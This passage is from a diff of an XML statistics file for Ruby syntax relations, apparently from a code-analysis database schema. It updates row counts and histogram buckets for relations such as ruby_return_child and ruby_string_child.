                                     <a>1</a>
                                     <b>2</b>
-                                    <v>551</v>
+                                    <v>525</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17045,7 +17192,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>551</v>
+                                    <v>525</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17061,7 +17208,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>551</v>
+                                    <v>525</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17071,15 +17218,15 @@
         </relation>
         <relation>
             <name>ruby_rescue_variable</name>
-            <cardinality>1021</cardinality>
+            <cardinality>1001</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_rescue</k>
-                    <v>1021</v>
+                    <v>1001</v>
                 </e>
                 <e>
                     <k>variable</k>
-                    <v>1021</v>
+                    <v>1001</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17093,7 +17240,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1021</v>
+                                    <v>1001</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17109,7 +17256,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1021</v>
+                                    <v>1001</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17200,7 +17347,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17216,7 +17363,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17237,15 +17384,15 @@
         </relation>
         <relation>
             <name>ruby_return_child</name>
-            <cardinality>5359</cardinality>
+            <cardinality>5336</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_return</k>
-                    <v>5359</v>
+                    <v>5336</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>5359</v>
+                    <v>5336</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17259,7 +17406,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5359</v>
+                                    <v>5336</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17275,7 +17422,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5359</v>
+                                    <v>5336</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17285,22 +17432,22 @@
         </relation>
         <relation>
             <name>ruby_return_def</name>
-            <cardinality>8521</cardinality>
+            <cardinality>8495</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>8521</v>
+                    <v>8495</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_right_assignment_list_child</name>
-            <cardinality>2932</cardinality>
+            <cardinality>2757</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_right_assignment_list</k>
-                    <v>1376</v>
+                    <v>1288</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -17308,7 +17455,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>2932</v>
+                    <v>2757</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17322,7 +17469,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1234</v>
+                                    <v>1147</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -17348,7 +17495,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1234</v>
+                                    <v>1147</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -17387,8 +17534,8 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>437</a>
-                                    <b>438</b>
+                                    <a>409</a>
+                                    <b>410</b>
                                     <v>6</v>
                                 </b>
                             </bs>
@@ -17418,8 +17565,8 @@
                                     <v>3</v>
                                 </b>
                                 <b>
-                                    <a>437</a>
-                                    <b>438</b>
+                                    <a>409</a>
+                                    <b>410</b>
                                     <v>6</v>
                                 </b>
                             </bs>
@@ -17436,7 +17583,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2932</v>
+                                    <v>2757</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17452,7 +17599,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2932</v>
+                                    <v>2757</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17462,26 +17609,26 @@
         </relation>
         <relation>
             <name>ruby_right_assignment_list_def</name>
-            <cardinality>1376</cardinality>
+            <cardinality>1288</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1376</v>
+                    <v>1288</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_scope_resolution_def</name>
-            <cardinality>80201</cardinality>
+            <cardinality>80009</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>80201</v>
+                    <v>80009</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>80201</v>
+                    <v>80009</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17495,7 +17642,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>80201</v>
+                                    <v>80009</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17511,7 +17658,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>80201</v>
+                                    <v>80009</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17521,15 +17668,15 @@
         </relation>
         <relation>
             <name>ruby_scope_resolution_scope</name>
-            <cardinality>78442</cardinality>
+            <cardinality>78256</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_scope_resolution</k>
-                    <v>78442</v>
+                    <v>78256</v>
                 </e>
                 <e>
                     <k>scope</k>
-                    <v>78442</v>
+                    <v>78256</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17543,7 +17690,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>78442</v>
+                                    <v>78256</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17559,7 +17706,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>78442</v>
+                                    <v>78256</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17617,19 +17764,19 @@
         </relation>
         <relation>
             <name>ruby_singleton_class_child</name>
-            <cardinality>2422</cardinality>
+            <cardinality>2322</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_singleton_class</k>
-                    <v>626</v>
+                    <v>620</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>75</v>
+                    <v>72</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>2422</v>
+                    <v>2322</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17653,17 +17800,17 @@
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>37</v>
+                                    <v>40</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>44</v>
+                                    <v>40</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>37</v>
+                                    <v>40</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -17672,18 +17819,13 @@
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>12</b>
-                                    <v>47</v>
+                                    <b>13</b>
+                                    <v>53</v>
                                 </b>
                                 <b>
-                                    <a>12</a>
+                                    <a>13</a>
                                     <b>24</b>
-                                    <v>47</v>
-                                </b>
-                                <b>
-                                    <a>24</a>
-                                    <b>25</b>
-                                    <v>3</v>
+                                    <v>34</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17709,17 +17851,17 @@
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>37</v>
+                                    <v>40</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>44</v>
+                                    <v>40</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>37</v>
+                                    <v>40</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -17728,18 +17870,13 @@
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>12</b>
-                                    <v>47</v>
+                                    <b>13</b>
+                                    <v>53</v>
                                 </b>
                                 <b>
-                                    <a>12</a>
+                                    <a>13</a>
                                     <b>24</b>
-                                    <v>47</v>
-                                </b>
-                                <b>
-                                    <a>24</a>
-                                    <b>25</b>
-                                    <v>3</v>
+                                    <v>34</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17754,8 +17891,13 @@
                             <bs>
                                 <b>
                                     <a>1</a>
+                                    <b>2</b>
+                                    <v>3</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
                                     <b>3</b>
-                                    <v>6</v>
+                                    <v>9</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -17763,18 +17905,13 @@
                                     <v>9</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>9</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>9</b>
+                                    <a>6</a>
+                                    <b>8</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>13</b>
+                                    <a>9</a>
+                                    <b>12</b>
                                     <v>6</v>
                                 </b>
                                 <b>
@@ -17783,28 +17920,28 @@
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>20</a>
-                                    <b>24</b>
+                                    <a>21</a>
+                                    <b>23</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
-                                    <b>36</b>
+                                    <a>28</a>
+                                    <b>33</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>45</a>
-                                    <b>58</b>
+                                    <a>42</a>
+                                    <b>56</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>84</b>
+                                    <a>68</a>
+                                    <b>82</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>109</a>
-                                    <b>200</b>
+                                    <a>107</a>
+                                    <b>198</b>
                                     <v>6</v>
                                 </b>
                             </bs>
@@ -17820,8 +17957,13 @@
                             <bs>
                                 <b>
                                     <a>1</a>
+                                    <b>2</b>
+                                    <v>3</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
                                     <b>3</b>
-                                    <v>6</v>
+                                    <v>9</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -17829,18 +17971,13 @@
                                     <v>9</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>9</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>9</b>
+                                    <a>6</a>
+                                    <b>8</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>13</b>
+                                    <a>9</a>
+                                    <b>12</b>
                                     <v>6</v>
                                 </b>
                                 <b>
@@ -17849,28 +17986,28 @@
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>20</a>
-                                    <b>24</b>
+                                    <a>21</a>
+                                    <b>23</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>31</a>
-                                    <b>36</b>
+                                    <a>28</a>
+                                    <b>33</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>45</a>
-                                    <b>58</b>
+                                    <a>42</a>
+                                    <b>56</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>84</b>
+                                    <a>68</a>
+                                    <b>82</b>
                                     <v>6</v>
                                 </b>
                                 <b>
-                                    <a>109</a>
-                                    <b>200</b>
+                                    <a>107</a>
+                                    <b>198</b>
                                     <v>6</v>
                                 </b>
                             </bs>
@@ -17887,7 +18024,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2422</v>
+                                    <v>2322</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17903,7 +18040,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2422</v>
+                                    <v>2322</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17913,15 +18050,15 @@
         </relation>
         <relation>
             <name>ruby_singleton_class_def</name>
-            <cardinality>626</cardinality>
+            <cardinality>620</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>626</v>
+                    <v>620</v>
                 </e>
                 <e>
                     <k>value</k>
-                    <v>626</v>
+                    <v>620</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17935,7 +18072,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>626</v>
+                                    <v>620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17951,7 +18088,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>626</v>
+                                    <v>620</v>
                                 </b>
                             </bs>
                         </hist>
@@ -17961,19 +18098,19 @@
         </relation>
         <relation>
             <name>ruby_singleton_method_child</name>
-            <cardinality>16000</cardinality>
+            <cardinality>16018</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_singleton_method</k>
-                    <v>6563</v>
+                    <v>6539</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>84</v>
+                    <v>89</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>16000</v>
+                    <v>16018</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -17987,32 +18124,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3713</v>
+                                    <v>3714</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>985</v>
+                                    <v>965</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>588</v>
+                                    <v>612</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>403</v>
+                                    <v>374</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>518</v>
+                                    <v>505</v>
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>29</b>
-                                    <v>354</v>
+                                    <b>31</b>
+                                    <v>368</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18028,32 +18165,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3713</v>
+                                    <v>3714</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>985</v>
+                                    <v>965</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>588</v>
+                                    <v>612</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>403</v>
+                                    <v>374</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>518</v>
+                                    <v>505</v>
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>29</b>
-                                    <v>354</v>
+                                    <b>31</b>
+                                    <v>368</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18069,72 +18206,77 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>6</v>
+                                    <v>11</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>6</v>
+                                    <v>5</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>2</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>12</v>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>7</a>
-                                    <b>9</b>
-                                    <v>6</v>
+                                    <a>9</a>
+                                    <b>10</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>15</b>
-                                    <v>6</v>
+                                    <a>12</a>
+                                    <b>17</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>27</b>
-                                    <v>6</v>
+                                    <a>23</a>
+                                    <b>28</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>30</a>
-                                    <b>38</b>
-                                    <v>6</v>
+                                    <a>32</a>
+                                    <b>41</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>49</a>
-                                    <b>63</b>
-                                    <v>6</v>
+                                    <a>51</a>
+                                    <b>66</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>87</a>
-                                    <b>118</b>
-                                    <v>6</v>
+                                    <a>93</a>
+                                    <b>125</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>148</a>
-                                    <b>202</b>
-                                    <v>6</v>
+                                    <a>155</a>
+                                    <b>210</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>288</a>
-                                    <b>422</b>
-                                    <v>6</v>
+                                    <a>294</a>
+                                    <b>421</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>615</a>
-                                    <b>941</b>
-                                    <v>6</v>
+                                    <a>626</a>
+                                    <b>952</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>2165</a>
-                                    <b>2166</b>
-                                    <v>3</v>
+                                    <a>2201</a>
+                                    <b>2202</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18150,72 +18292,77 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>6</v>
+                                    <v>11</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>6</v>
+                                    <v>5</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>2</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>12</v>
+                                    <v>8</v>
                                 </b>
                                 <b>
-                                    <a>7</a>
-                                    <b>9</b>
-                                    <v>6</v>
+                                    <a>9</a>
+                                    <b>10</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>15</b>
-                                    <v>6</v>
+                                    <a>12</a>
+                                    <b>17</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>27</b>
-                                    <v>6</v>
+                                    <a>23</a>
+                                    <b>28</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>30</a>
-                                    <b>38</b>
-                                    <v>6</v>
+                                    <a>32</a>
+                                    <b>41</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>49</a>
-                                    <b>63</b>
-                                    <v>6</v>
+                                    <a>51</a>
+                                    <b>66</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>87</a>
-                                    <b>118</b>
-                                    <v>6</v>
+                                    <a>93</a>
+                                    <b>125</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>148</a>
-                                    <b>202</b>
-                                    <v>6</v>
+                                    <a>155</a>
+                                    <b>210</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>288</a>
-                                    <b>422</b>
-                                    <v>6</v>
+                                    <a>294</a>
+                                    <b>421</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>615</a>
-                                    <b>941</b>
-                                    <v>6</v>
+                                    <a>626</a>
+                                    <b>952</b>
+                                    <v>5</v>
                                 </b>
                                 <b>
-                                    <a>2165</a>
-                                    <b>2166</b>
-                                    <v>3</v>
+                                    <a>2201</a>
+                                    <b>2202</b>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18231,7 +18378,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16000</v>
+                                    <v>16018</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18247,7 +18394,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16000</v>
+                                    <v>16018</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18257,19 +18404,19 @@
         </relation>
         <relation>
             <name>ruby_singleton_method_def</name>
-            <cardinality>6563</cardinality>
+            <cardinality>6539</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>6563</v>
+                    <v>6539</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>6563</v>
+                    <v>6539</v>
                 </e>
                 <e>
                     <k>object</k>
-                    <v>6563</v>
+                    <v>6539</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18283,7 +18430,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6563</v>
+                                    <v>6539</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18299,7 +18446,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6563</v>
+                                    <v>6539</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18315,7 +18462,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6563</v>
+                                    <v>6539</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18331,7 +18478,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6563</v>
+                                    <v>6539</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18347,7 +18494,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6563</v>
+                                    <v>6539</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18363,7 +18510,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6563</v>
+                                    <v>6539</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18373,15 +18520,15 @@
         </relation>
         <relation>
             <name>ruby_singleton_method_parameters</name>
-            <cardinality>4135</cardinality>
+            <cardinality>4082</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_singleton_method</k>
-                    <v>4135</v>
+                    <v>4082</v>
                 </e>
                 <e>
                     <k>parameters</k>
-                    <v>4135</v>
+                    <v>4082</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18395,7 +18542,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4135</v>
+                                    <v>4082</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18411,7 +18558,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4135</v>
+                                    <v>4082</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18421,15 +18568,15 @@
         </relation>
         <relation>
             <name>ruby_splat_argument_def</name>
-            <cardinality>3179</cardinality>
+            <cardinality>3046</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3179</v>
+                    <v>3046</v>
                 </e>
                 <e>
                     <k>child</k>
-                    <v>3179</v>
+                    <v>3046</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18443,7 +18590,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3179</v>
+                                    <v>3046</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18459,7 +18606,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3179</v>
+                                    <v>3046</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18469,26 +18616,26 @@
         </relation>
         <relation>
             <name>ruby_splat_parameter_def</name>
-            <cardinality>2936</cardinality>
+            <cardinality>2905</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>2936</v>
+                    <v>2905</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_splat_parameter_name</name>
-            <cardinality>2369</cardinality>
+            <cardinality>2354</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_splat_parameter</k>
-                    <v>2369</v>
+                    <v>2354</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>2369</v>
+                    <v>2354</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18502,7 +18649,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2369</v>
+                                    <v>2354</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18518,7 +18665,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2369</v>
+                                    <v>2354</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18528,11 +18675,11 @@
         </relation>
         <relation>
             <name>ruby_string_array_child</name>
-            <cardinality>11474</cardinality>
+            <cardinality>11487</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_string_array</k>
-                    <v>3716</v>
+                    <v>3704</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -18540,7 +18687,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>11474</v>
+                    <v>11487</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18554,32 +18701,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1205</v>
+                                    <v>1200</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1226</v>
+                                    <v>1218</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>579</v>
+                                    <v>576</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>290</v>
+                                    <v>294</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>10</b>
-                                    <v>283</v>
+                                    <v>282</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>461</b>
-                                    <v>133</v>
+                                    <v>134</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18595,32 +18742,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1205</v>
+                                    <v>1200</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1226</v>
+                                    <v>1218</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>579</v>
+                                    <v>576</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>290</v>
+                                    <v>294</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>10</b>
-                                    <v>283</v>
+                                    <v>282</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>461</b>
-                                    <v>133</v>
+                                    <v>134</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18649,8 +18796,8 @@
                                     <v>35</v>
                                 </b>
                                 <b>
-                                    <a>706</a>
-                                    <b>3717</b>
+                                    <a>710</a>
+                                    <b>3705</b>
                                     <v>4</v>
                                 </b>
                             </bs>
@@ -18680,8 +18827,8 @@
                                     <v>35</v>
                                 </b>
                                 <b>
-                                    <a>706</a>
-                                    <b>3717</b>
+                                    <a>710</a>
+                                    <b>3705</b>
                                     <v>4</v>
                                 </b>
                             </bs>
@@ -18698,7 +18845,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>11474</v>
+                                    <v>11487</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18714,7 +18861,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>11474</v>
+                                    <v>11487</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18724,22 +18871,22 @@
         </relation>
         <relation>
             <name>ruby_string_array_def</name>
-            <cardinality>3868</cardinality>
+            <cardinality>3840</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3868</v>
+                    <v>3840</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_string_child</name>
-            <cardinality>535162</cardinality>
+            <cardinality>534498</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_string__</k>
-                    <v>467438</v>
+                    <v>466613</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -18747,7 +18894,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>535162</v>
+                    <v>534498</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -18761,12 +18908,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>440917</v>
+                                    <v>439982</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>282</b>
-                                    <v>26521</v>
+                                    <v>26631</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18782,12 +18929,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>440917</v>
+                                    <v>439982</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>282</b>
-                                    <v>26521</v>
+                                    <v>26631</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18827,7 +18974,7 @@
                                 </b>
                                 <b>
                                     <a>102</a>
-                                    <b>467439</b>
+                                    <b>466614</b>
                                     <v>22</v>
                                 </b>
                             </bs>
@@ -18868,7 +19015,7 @@
                                 </b>
                                 <b>
                                     <a>102</a>
-                                    <b>467439</b>
+                                    <b>466614</b>
                                     <v>22</v>
                                 </b>
                             </bs>
@@ -18885,7 +19032,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>535162</v>
+                                    <v>534498</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18901,7 +19048,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>535162</v>
+                                    <v>534498</v>
                                 </b>
                             </bs>
                         </hist>
@@ -18911,22 +19058,22 @@
         </relation>
         <relation>
             <name>ruby_string_def</name>
-            <cardinality>474637</cardinality>
+            <cardinality>473533</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>474637</v>
+                    <v>473533</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>ruby_subshell_child</name>
-            <cardinality>645</cardinality>
+            <cardinality>620</cardinality>
             <columnsizes>
                 <e>
